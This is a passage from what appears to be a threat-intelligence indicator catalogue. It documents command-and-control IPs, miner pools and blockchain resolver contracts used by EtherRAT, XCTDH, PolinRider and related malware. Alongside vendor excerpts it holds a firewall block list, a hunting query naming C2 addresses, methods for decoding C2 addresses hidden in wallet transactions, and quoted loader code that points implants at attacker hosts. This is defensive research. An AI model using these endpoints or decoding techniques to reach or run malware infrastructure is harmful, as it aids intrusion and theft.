host serving anything. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","…This C2 IP was the same as first value set for smart contract from this oldest sample (http[://]135.125.255.55). Simplified Stage 3 graph ( link to detailed) Decentralized C2 Infrastructure The campaign implements a decentralized C2 model…","Command-and-control IP decoded from two recipient addresses the watchlisted XCTDH signal wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 paid: as the secondary endpoint, on port 80, of 0x67d5f82d01bb880007e7005000ff5c60b6c34b5a from 2026-10-07, and as both endpoints of 0x880007e701bb880007e7005000ffd4bc60cb30fa from 2026-10-08, which the wallet was still paying on 2026-10-11. Read with the encoding Ransom-ISAC published for this wallet: the first four bytes are the IP and the next two the port. This is an on-chain observation by this site, made after the report was published, and it is recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Mining pool or configuration server named on port 27031 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-05-27 and last on 2026-07-30. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Command-and-control IP decoded from recipient address 0x9628622a00509628622a005000ff723d148ad8a3, which the watchlisted XCTDH signal wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 began paying on 2026-10-12, replacing 136.0.7.231. Read with the encoding Ransom-ISAC published for this wallet: the first four bytes are the IP and the next two the port, here 80 for both endpoints. This is an on-chain observation by this site, made after the report was published, and it is recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Command-and-control host served by the watchlisted BNB Smart Chain dead drop 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c during 19 February 2025. This site recovered it by reading the contract's stored payload from archive state at the blocks where it changed. Across that window the contract held short strings rather than a script, each a URL wrapped in \"..\" delimiters and encoded as reversed base64; reversing and decoding gives http://154.91.0.103, http://154.91.0.103:27017, http://154.91.0.103:1433, http://154.91.0.103:5432. The ports are database services, which is where this toolset sends what it collects. Recorded as an address the malware was pointed at, not as a host this site has observed serving anything. Two of the four writes spell the address with zero padding, as 154.91.000.103.","…IPs worth an interim block at the firewall level while you work through remediation: 166.88.54.158 , 198.105.127.210 , 23.27.202.27 , 154.91.0.103 , 136.0.9.8 , 166.88.4.2 , 23.27.120.142 , 202.155.8.173 , 166.88.134.82 , 188.43.33.249 , 23.27.13.43 .…","…Evoxt Enterprise Sep 2025 ACTIVE 27017 Cluster-1 HIGH 23.27.120.142 149440 Evoxt Enterprise Oct 2025 ACTIVE 27017 Cluster-1 HIGH 154.91.0.103 149440 Evoxt Enterprise Feb 2025 Mar 2025 27017 , 5432, 1433 Cluster-2 MEDIUM 85.239.62.36 62240 Clouvider Limited May 2025 June 2025…","…different and an interesting string is left behind, BEP-20: BOT250205 (BOT) : C2 Stager in XCTDH Case Field Value C2 IP 154.91.0.103 C2 Port 27017 (0x6989) Full C2 URL http://154.91.0.103:27017/$/boot XOR Key ThZG+0jfXE6VAGOJ User-Agent Mozilla/5.0 (Windows NT…","…dead drop TRON first, with Aptos and BNB Smart Chain as fallbacks BNB Smart Chain, then Ethereum calldata Command server 154.91.0.103 The bootstrapper’s server Server paths /verify-human/{channel} , /u/f , /d/python.zip , /d/python.7z , /d/7zr.exe All five appear in…","Command-and-control address, on port 443, named in the remote-access stage the XCTDH signal address 0x596dcc9fda875309ff85eba09cf5a97d8c7691bb has pointed implants at since 2026-10-06. The 2026-10-07 XCTDH loader, decoded statically by this site, samples Ethereum blocks five to seven past each multiple of 256 for a transaction sent from an address containing 596dcc9fda875309ff85eba09cf5a97d, and reads that transaction's recipient as four packed pointers of four bytes of BNB Smart Chain block number and one byte of transaction index. Each pointer leads to a BSC transaction whose input carries a script between ?.? markers, XOR-encrypted under a key the previous stage names. Every version of that stage written from 2026-10-06 to the current one, BSC transaction 0x674c3adb5d9a9d64ddda8f89b4f413008888b254eecd763780123223fb5b9ac6 of 2026-10-08, names 154.91.0.20:443 and 166.0.106.182 as its servers. Decoded statically by this site on 2026-10-11 by reimplementing each layer's transform; recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Command-and-control address, on port 80, named in the remote-access stage the XCTDH signal address 0x596dcc9fda875309ff85eba09cf5a97d8c7691bb has pointed implants at since 2026-10-06. The 2026-10-07 XCTDH loader, decoded statically by this site, samples Ethereum blocks five to seven past each multiple of 256 for a transaction sent from an address containing 596dcc9fda875309ff85eba09cf5a97d, and reads that transaction's recipient as four packed pointers of four bytes of BNB Smart Chain block number and one byte of transaction index. Each pointer leads to a BSC transaction whose input carries a script between ?.? markers, XOR-encrypted under a key the previous stage names. Every version of that stage written from 2026-10-06 to the current one, BSC transaction 0x674c3adb5d9a9d64ddda8f89b4f413008888b254eecd763780123223fb5b9ac6 of 2026-10-08, names 154.91.0.20:443 and 166.0.106.182 as its servers. Decoded statically by this site on 2026-10-11 by reimplementing each layer's transform; recorded as the address the implant is pointed at, not as a host this site has observed serving anything. The chain's third script, BSC transaction 0xea0650c1317c4db2a4f1a62a48fd472660855d3d7e62020f4932d85b64e43926 of 2026-10-06 (obfuscator.io output with RC4-encoded strings, decoded statically by this site on 2026-10-11), names the same host over plain HTTP: a Node.js dropper that posts host details to /snv and logs to /verify-human/{id}, fetches a Windows Python runtime from /d/, and runs a Python stage served from /$/{id}. Its replacement, BSC transaction 0x304e337f173d6d4efa3bc6f483e4afe457f01d7f0e51cab39ad05f0f88050ce4 of 2026-10-12 (decoded statically by this site the same day), names the same host and posts to /u/snv, fetching /d/7zr.exe and /d/python.7z.","Command-and-control IP decoded from the NullReceiver destination address, as reported by OpenSourceMalware. It is recorded as the address the malware resolves to, not as a host this site has observed serving anything; the transaction that carries it is on-chain and public, while what the IP was doing at any given moment is not. This site read the resolver wallet again on 2026-09-03 and found it pointing at a different address; see nullreceiver-c2-ip-166-88-73-46. The value here is what the cited reporting recorded and what the wallet still resolved to at nonce 150 on 2026-08-18, not necessarily what it resolves to now.","…The recipient bytes decode to 166.88.134.62 , and — as an added attacker fingerprint — the trailing bytes of the same address spell out the ASCII string \"helloipbot!!\" . In this code…","…infrastructure we and three other research teams have now watched this same actor reuse for five months. Indicator Value Status 166.88.134.62:443 / :80 primary C2 novel to this incident 23.27.13.43 stage 2 loader novel to this incident 198.105.127.210:443 / :80 C2 shared…","…_$_9f51 string table) 2 _V = global[ '_V' ] || 0 ; 3 4 if (_V[ 0 ] === 'A' || _V === '0' ) { 5 global[ '_t_s' ] = 'http://166.88.134.62:443' ; 6 global[ '_t_u' ] = 'http://166.88.134.62' ; 7 } else if ( ! isNaN ( parseInt (_V))) { 8 global[ '_t_s' ] =…","…same Tron or Aptos to BSC resolution method a second time. For the Joyfill marker A9-0135-3 , the loader sets the Socket.IO endpoint to 166.88.134.62:443 and the upload host to 166.88.134.62 .…","…That wallet has been publishing an address every 15 minutes or so since late July, rotating through 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , and 193.247.144.38 .…","…Ethereum Sender Address # 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a Resolved C2 IP Addresses # 193.247.144.38 166.88.73.46 166.88.134.62 23.27.13.135 Payload Files # 7d47c430e6e404dc2fa8b4837678d1cbdb4d0aeacec9b405655cab79d54a2ad9 - tailwind.config.js…","…The most recent five cycles corresponded to 166.88.134.62, 23.27.13.135, 166.88.73.46, 193.247.144.38, and the current round's 166.88.134.75, respectively. Press enter or click to view image in…","…uses Ethereum, and the other uses a Tron address pair that SafeDep did not find in public reports. Two C2 servers, 198.105.127.210 and 166.88.134.62 , also appear in the earlier SafeDep astro.config.mjs and @joyfill investigations. The OpenSSF malicious-packages database has 70 npm and…","…a658863e a658863e 68656c6c6f6970626f742121 │ │ └─ \"helloipbot!!\" (chuỗi chữ ký của kẻ tấn công) │ └─ lặp lại 4 byte IP └─ a6.58.86.3e = 166.88.134.62 (IP C&C) Phía nạn nhân chỉ đọc dữ liệu blockchain: không gọi contract, không tạo giao dịch và không trả gas. 7.2.…","…(Dated) 7 of 13 N/A (Context only) Crucially, only one indicator that VirusTotal missed was flagged anywhere else: URLhaus listed 166.88.134.62 (PolinRider), which VirusTotal had never seen.…","…from _$_9f51 string table) _V = global [ '_V' ] || 0 ; if ( _V [ 0 ] === 'A' || _V === '0' ) { global [ '_t_s' ] = 'http://166.88.134.62:443' ; global [ '_t_u' ] = 'http://166.88.134.62' ; } else if ( ! isNaN ( parseInt ( _V ))) { global [ '_t_s' ] =…","Command-and-control IP decoded from the NullReceiver destination address that the watchlisted resolver wallet pointed to from 2026-09-17 onwards, still current when this entry was written on 2026-09-20. This is an on-chain observation by this site, not a value carried in published reporting. It is recorded as the address the malware resolves to, not as a host this site has observed serving anything; the transaction that carries it is on-chain and public, while what the IP was doing at any given moment is not. It returns to 166.88.134.0/24, the same block as the 166.88.134.62 OpenSourceMalware reported.","…The result actually decoded in this round was 166.88.134.75.…","…to 2026-08-27 23.27.13.135 2026-08-28 to 2026-09-03 166.88.73.46 2026-09-04 to 2026-09-17 193.247.144.38 2026-09-17 to 2026-09-28 166.88.134.75 2026-09-28 to 2026-09-30 91.218.183.174 The first server, 166.88.134.62 , is the server that the @joyfill stage 2 selects for…","…Ví của kẻ tấn công: 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a IP C&C: 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , 193.247.144.38 , 166.88.134.75 , 91.218.183.174 , 23.27.13.72 Chuỗi tĩnh: A10-npm3! , helloipbot!! 7.6.…","…multiple IP addresses which are used as a C2 server. We found the following IP addresses being used by the malware – 103.179.143.219, 166.88.134.75, 23.27.13.72, 95.135.181.151 After downloading the remote payload from the server, the malware executes it using the same node -i command…","Command-and-control IP decoded from the NullReceiver destination address that the watchlisted resolver wallet pointed to on 2026-09-03. This is an on-chain observation by this site, not a value carried in published reporting: OpenSourceMalware reported 166.88.134.62, and the resolver had moved on by the time this site read it. It is recorded as the address the malware resolves to, not as a host this site has observed serving anything; the transaction that carries it is on-chain and public, while what the IP was doing at any given moment is not. It sits in the same 166.88.0.0/16 range as the reported address.","…Resolver Ethereum Sender Address # 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a Resolved C2 IP Addresses # 193.247.144.38 166.88.73.46 166.88.134.62 23.27.13.135 Payload Files # 7d47c430e6e404dc2fa8b4837678d1cbdb4d0aeacec9b405655cab79d54a2ad9 -…","…The most recent five cycles corresponded to 166.88.134.62, 23.27.13.135, 166.88.73.46, 193.247.144.38, and the current round's 166.88.134.75, respectively. Press enter or click to view image in full size After the…","…Evoxt: Active (UTC) C2 2026-07-25 to 2026-08-22 166.88.134.62 2026-08-22 to 2026-08-27 23.27.13.135 2026-08-28 to 2026-09-03 166.88.73.46 2026-09-04 to 2026-09-17 193.247.144.38 2026-09-17 to 2026-09-28 166.88.134.75 2026-09-28 to 2026-09-30 91.218.183.174 The…","…npm: npmuser1101 , npmuser3002 Ví của kẻ tấn công: 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a IP C&C: 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , 193.247.144.38 , 166.88.134.75 , 91.218.183.174 , 23.27.13.72 Chuỗi tĩnh: A10-npm3! , helloipbot!! 7.6.…","Address that appeared as a value written to EtherRAT resolver contracts, per Atos's list of domains and addresses found in contract events (first seen 2025-12-06, last seen 2025-12-06, 1 occurrence). A value an operator writes to the contract is the address the implant is sent to, but this site has not observed the host serving anything. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","…2025-12-08 00:33 23,964,550 http://91.215.85.42:3000 Primary server (current) The switching between 91.215.85.42:3000 and 173.249.8.102 on December 6th indicates the attacker is using at least two C2 servers.…","Address the report lists as the backend behind the EtherRAT C2 domain twicegrand.com.","Address that appeared as a value written to EtherRAT resolver contracts, per Atos's list of domains and addresses found in contract events (first seen 2026-02-19, last seen 2026-03-04, 2 occurrences). A value an operator writes to the contract is the address the implant is sent to, but this site has not observed the host serving anything. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Mining pool or configuration server named on port 8080 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-04-14 and last on 2026-05-09. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Command-and-control IP decoded from the NullReceiver destination address that the watchlisted resolver wallet pointed to between 2026-09-04 and 2026-09-17. This is an on-chain observation by this site, not a value carried in published reporting. It is recorded as the address the malware resolves to, not as a host this site has observed serving anything; the transaction that carries it is on-chain and public, while what the IP was doing at any given moment is not. It is the first destination in this series to fall outside 166.88.0.0/16, the range the reported address and two of the three this site has observed all sit in.","…has been publishing an address every 15 minutes or so since late July, rotating through 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , and 193.247.144.38 .…","…Dead-Drop Resolver Ethereum Sender Address # 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a Resolved C2 IP Addresses # 193.247.144.38 166.88.73.46 166.88.134.62 23.27.13.135 Payload Files # 7d47c430e6e404dc2fa8b4837678d1cbdb4d0aeacec9b405655cab79d54a2ad9 -…","…The most recent five cycles corresponded to 166.88.134.62, 23.27.13.135, 166.88.73.46, 193.247.144.38, and the current round's 166.88.134.75, respectively. Press enter or click to view image in full size After the address is…","…to 2026-08-22 166.88.134.62 2026-08-22 to 2026-08-27 23.27.13.135 2026-08-28 to 2026-09-03 166.88.73.46 2026-09-04 to 2026-09-17 193.247.144.38 2026-09-17 to 2026-09-28 166.88.134.75 2026-09-28 to 2026-09-30 91.218.183.174 The first server, 166.88.134.62 , is the server…","…, npmuser3002 Ví của kẻ tấn công: 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a IP C&C: 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , 193.247.144.38 , 166.88.134.75 , 91.218.183.174 , 23.27.13.72 Chuỗi tĩnh: A10-npm3! , helloipbot!! 7.6.…","Command-and-control IP decoded from the recipient address 0xc120a23401bbc120a234005000ff73f5fdce576f, which the watchlisted XCTDH signal wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 began paying on 2026-10-02. Read with the encoding Ransom-ISAC published for this wallet: the first four bytes are the IP and the next two the port, 01bb or 443, with the same IP repeated as the secondary endpoint. This is an on-chain observation by this site, made after the report was published, and it is recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Address the report lists as the backend behind the EtherRAT C2 domain ager-stp.org.","Command-and-control address named in the remote-access and dropper stages the signal address has pointed at since 2026-10-22. The XCTDH loader reads the recipient of each transaction from 0x596dcc9fda875309ff85eba09cf5a97d8c7691bb as packed pointers to BNB Smart Chain transactions, whose inputs carry XOR-encrypted scripts; this site follows the pointers and decodes each stage statically, without running it. Recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Address the report lists as the backend behind the EtherRAT C2 domain aabstone.com.","Mining pool or configuration server named on ports 8080, 27032 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-03-13 and last on 2026-04-14. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Command-and-control IP decoded from the NullReceiver destination address the resolver wallet pointed to between 2026-08-22 and 2026-08-27. This is an on-chain observation by this site, not a value carried in published reporting. It is recorded as the address the malware resolved to during that window, not as a host this site has observed serving anything. Unlike the other two addresses in this rotation it does not sit in 166.88.0.0/16.","…access and first stage (27 August) 14:33 A Node.js loader in a malicious pybitjs repo is executed and beacons to the operator C2 at 23.27.13.135.…","…# 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a Resolved C2 IP Addresses # 193.247.144.38 166.88.73.46 166.88.134.62 23.27.13.135 Payload Files # 7d47c430e6e404dc2fa8b4837678d1cbdb4d0aeacec9b405655cab79d54a2ad9 - tailwind.config.js…","…The most recent five cycles corresponded to 166.88.134.62, 23.27.13.135, 166.88.73.46, 193.247.144.38, and the current round's 166.88.134.75, respectively. Press enter or click to view image in full size…","…servers, and every server is on AS149440 Evoxt: Active (UTC) C2 2026-07-25 to 2026-08-22 166.88.134.62 2026-08-22 to 2026-08-27 23.27.13.135 2026-08-28 to 2026-09-03 166.88.73.46 2026-09-04 to 2026-09-17 193.247.144.38 2026-09-17 to 2026-09-28 166.88.134.75 2026-09-28…","…Tài khoản npm: npmuser1101 , npmuser3002 Ví của kẻ tấn công: 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a IP C&C: 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , 193.247.144.38 , 166.88.134.75 , 91.218.183.174 , 23.27.13.72 Chuỗi tĩnh: A10-npm3! , helloipbot!! 7.6.…","Command-and-control IP decoded from the NullReceiver destination address 0x171b0d48171b0d4868656c6c6f6970626f742121 that the watchlisted resolver wallet pointed to on 2026-10-14, replacing 193.247.144.38. This is an on-chain observation by this site, not a value carried in published reporting. It is recorded as the address the malware resolved to, not as a host this site has observed serving anything. It sits in 23.27.13.0/24 with 23.27.13.135, the resolver's destination of August 2026.","…IP C&C: 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , 193.247.144.38 , 166.88.134.75 , 91.218.183.174 , 23.27.13.72 Chuỗi tĩnh: A10-npm3! , helloipbot!! 7.6.…","…which are used as a C2 server. We found the following IP addresses being used by the malware – 103.179.143.219, 166.88.134.75, 23.27.13.72, 95.135.181.151 After downloading the remote payload from the server, the malware executes it using the same node -i command described…","Command-and-control host served by the watchlisted BNB Smart Chain dead drop 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c during 12 March 2025. This site recovered it by reading the contract's stored payload from archive state at the blocks where it changed. Across that window the contract held short strings rather than a script, each a URL wrapped in \"..\" delimiters and encoded as reversed base64; reversing and decoding gives http://23.27.20.143:27017, http://23.27.20.143:5432. The ports are database services, which is where this toolset sends what it collects. Recorded as an address the malware was pointed at, not as a host this site has observed serving anything. It sits in 23.27.0.0/16, the same range as 23.27.13.135, which this site read from the NullReceiver resolver wallet in August 2026, and as 23.27.202.27, which Panther reports for Contagious Interview. Three addresses in one range from three independent readings is a hosting pattern worth noting, not evidence that any two of them are the same host.","…of Remote Code Execution (RCE), appearing to be a variant of the DEV#POPPER campaign. One obfuscated payload fetches data via http://23.27.20.143:27017/$/boot using custom headers to download telemetry capture and malware stager code—another ~2,500-line obfuscated script.…","…event the primary channel is not able to establish connection with patient zero. C2 IP Addresses C2 Port C2 Channel Type Malware 23.27.20.143 27017 HTTP API Python Dropper 136.0.9.8 27017, 443 HTTP API, socket.io Loader/RAT 166.88.4.2 27017, 443 HTTP API, socket.io…","…to Potential Void Dokkaebi C2 eventSubId: (204 OR 301) AND dst: (136.0.9.8 OR 198.105.127.210 OR 23.27.202.27 OR 154.91.0.196 OR 23.27.20.143 OR 85.239.62.36 OR 83.168.68.219 OR 166.88.4.2 OR 23.27.120.142) More hunting queries are available for TrendAI Vision One™ with Threat…","…The following changes were observed in the September 2026 samples: Aspect October 2025 September 2026 C2 IP 23.27.20.143 181.214.149.148 C2 Port 27017 (MongoDB, easily flagged) 443 (blends with HTTPS traffic) C2 Resolution Channels 2 parallel (Hardcoded…","…an omni-OS NodeJS-based Remote Access Trojan capable of Remote Code Execution (RCE). One obfuscated code code fetches data via http://23.27.20.143:27017/$/boot using custom headers to download a telemetry capture and malware stager malware that is also a ~2500-line obfuscated script.…","Address the report lists as one of several that aabstone.com resolved to, flagged as communicating with an EtherRAT sample. A shared resolution is weaker evidence than a dedicated backend, hence the lower confidence.","Mining pool or configuration server named on port 23145 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-03-26 and last on 2026-07-30. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Mining pool or configuration server named on ports 27031, 30270, 31270 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-09-20 and last on 2026-10-16. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Mining pool or configuration server named on port 443 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-05-14 and last on 2026-07-28. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Mining pool or configuration server named on port 27031 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-08-05 and last on 2026-09-06. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Mining pool or configuration server named on port 27031 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-09-20. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Command-and-control IP decoded from the recipient address 0x5913de1901bb5913de19005000ffa1f0bdf09aea, which the watchlisted XCTDH signal wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 began paying on 2026-10-05 and was still paying on 2026-10-07. Read with the encoding Ransom-ISAC published for this wallet: the first four bytes are the IP and the next two the port, 01bb or 443, with the same IP repeated as the secondary endpoint on port 80. This is an on-chain observation by this site, made after the report was published, and it is recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Mining pool or configuration server named on port 443 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-09-10. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Address that appeared as a value written to EtherRAT resolver contracts, per Atos's list of domains and addresses found in contract events (first seen 2025-12-05, last seen 2025-12-08, 4 occurrences). A value an operator writes to the contract is the address the implant is sent to, but this site has not observed the host serving anything. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","…nine state changes over three days: Timestamp (UTC) Block C2 URL Notes 2025-12-05 19:19 23,948,771 http://91.215.85.42:3000 Initial C2 2025-12-06 16:53 23,955,140 http://173.249.8.102/ Secondary server 2025-12-06 16:54 23,955,143…","Command-and-control IP decoded from the NullReceiver destination address 0x5bdab7ae5bdab7ae68656c6c6f6970626f742121 that the watchlisted resolver wallet pointed to from 2026-09-28 to 2026-10-06, across 67 transactions. SafeDep's PolinRider report of 30 September 2026 names the same address as the current C2 read from the same wallet. It is recorded as the address the malware resolves to, not as a host this site has observed serving anything.","…text helloipbot!! : 1 // latest 0xa322 heartbeat, block 26089999 2 to: 0x5BDAb7Ae 5BDAb7aE 68656C6C6f6970626F742121 3 91.218.183.174 | 91.218.183.174 | h e l l o i p b o t ! ! The loader gets /0x/cls and /0x/ls with a Sec-V header that carries the marker.…","…công: 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a IP C&C: 166.88.134.62 , 23.27.13.135 , 166.88.73.46 , 193.247.144.38 , 166.88.134.75 , 91.218.183.174 , 23.27.13.72 Chuỗi tĩnh: A10-npm3! , helloipbot!! 7.6.…","…They are the ASCII text helloipbot!! : // latest 0xa322 heartbeat, block 26089999 to: 0x5BDAb7Ae 5BDAb7aE 68656C6C6f6970626F742121 91.218.183.174 | 91.218.183.174 | h e l l o i p b o t ! ! The loader gets /0x/cls and /0x/ls with a Sec-V header that carries the marker.…","Address that appeared as a value written to EtherRAT resolver contracts, per Atos's list of domains and addresses found in contract events (first seen 2025-12-11, last seen 2025-12-11, 1 occurrence). A value an operator writes to the contract is the address the implant is sent to, but this site has not observed the host serving anything. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Mining pool or configuration server named on ports 443, 31270 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-09-11 and last on 2026-09-24. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","SectopRAT command-and-control address, on port 443, that The DFIR Report lists for the intrusion whose configuration was read from BNB Smart Chain contract 0xb11613acf39ad3b4dde427c27068d278fafa8998.","Command-and-control address named in every remote-access stage the signal address has pointed at since 2026-10-20 (on port 443 from the second version that day) and in the dropper stage of 2026-10-20. The XCTDH loader reads the recipient of each transaction from 0x596dcc9fda875309ff85eba09cf5a97d8c7691bb as packed pointers to BNB Smart Chain transactions, whose inputs carry XOR-encrypted scripts; this site follows the pointers and decodes each stage statically, without running it. Recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Command-and-control address named in the remote-access and dropper stages the signal address pointed at on 2026-10-21. The XCTDH loader reads the recipient of each transaction from 0x596dcc9fda875309ff85eba09cf5a97d8c7691bb as packed pointers to BNB Smart Chain transactions, whose inputs carry XOR-encrypted scripts; this site follows the pointers and decodes each stage statically, without running it. From 2026-11-02 the first signal wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 also points implants straight at it, through the recipient address 0x5f87b51900505f87b519005000ffeecb20ccec7c (port 80), read with the encoding Ransom-ISAC published for that wallet; it was still doing so on 2026-11-11. Recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Ethereum Sepolia contract deployed on 2026-06-06 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, the wallet behind the PhantomPolia resolver contracts LevelBlue SpiderLabs reported. Like them it returns an encrypted salt:iv:ciphertext configuration from getText() (selector 0xe00fe2eb), fixed at deployment. None of the seven published passwords opens it, so the C2 domain it resolves to is not known. Found by this site on 2026-10-12; that it serves PhantomPolia rests on the shared deployer and format, not on a report.","Ethereum Sepolia contract deployed on 2026-05-27 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, the wallet behind the PhantomPolia resolver contracts LevelBlue SpiderLabs reported. Like them it returns an encrypted salt:iv:ciphertext configuration from getText() (selector 0xe00fe2eb), fixed at deployment. None of the seven published passwords opens it, so the C2 domain it resolves to is not known. Found by this site on 2026-10-12; that it serves PhantomPolia rests on the shared deployer and format, not on a report.","Ethereum Sepolia contract deployed on 2026-09-10 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, the wallet behind the PhantomPolia resolver contracts LevelBlue SpiderLabs reported. Like them it returns an encrypted salt:iv:ciphertext configuration from getText() (selector 0xe00fe2eb), fixed at deployment. None of the seven published passwords opens it, so the C2 domain it resolves to is not known. Found by this site on 2026-10-12; that it serves PhantomPolia rests on the shared deployer and format, not on a report.","Ethereum Sepolia contract deployed on 2026-07-27 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, the wallet behind the PhantomPolia resolver contracts LevelBlue SpiderLabs reported. Like them it returns an encrypted salt:iv:ciphertext configuration from getText() (selector 0xe00fe2eb), fixed at deployment. None of the seven published passwords opens it, so the C2 domain it resolves to is not known. Found by this site on 2026-10-12; that it serves PhantomPolia rests on the shared deployer and format, not on a report.","BNB Smart Chain contract deployed by 0xe6975e14513283a5161ca883437a4e4b7298f1ca, the wallet that wrote the SectopRAT configuration contract 0xb11613acf39ad3b4dde427c27068d278fafa8998, and written 3 time(s) from 2025-09-26 to 2026-09-16 through the same function (0x3d7403a3) with the same 55-character encrypted string between START and FINISH markers. The values were not decrypted. Found by this site's EtherHiding hunt on 2026-10-12; that it serves SectopRAT rests on the shared writer and format, not on a report.","BNB Smart Chain contract deployed by 0xe6975e14513283a5161ca883437a4e4b7298f1ca, the wallet that wrote the SectopRAT configuration contract 0xb11613acf39ad3b4dde427c27068d278fafa8998, and written 1 time(s) from 2026-09-16 to 2026-09-16 through the same function (0x3d7403a3) with the same 55-character encrypted string between START and FINISH markers. The values were not decrypted. Found by this site's EtherHiding hunt on 2026-10-12; that it serves SectopRAT rests on the shared writer and format, not on a report.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-01-12 with 3 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x285453d4cf33bfdb3e44c207c7534cbd7a23afcd) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Polygon contract deployed by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539 that stores an XOR-encoded cryptocurrency-miner configuration, written 33 time(s) between 2026-05-27 and 2026-10-29. The decoded configurations name 144.124.224.120, 89.124.115.52, 91.184.242.248, 92.118.168.26, 89.124.117.170, 78.40.198.61, xmr-eu1.nanopool.org as the pool or configuration server. The writes of 2026-10-29 changed only the idle CPU share, from 70 to 80 per cent, and kept 78.40.198.61 as the pool.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-12-04 with 3 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x69a91686482de1df123b91106cbda763da034d4a) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-01-03 with 5 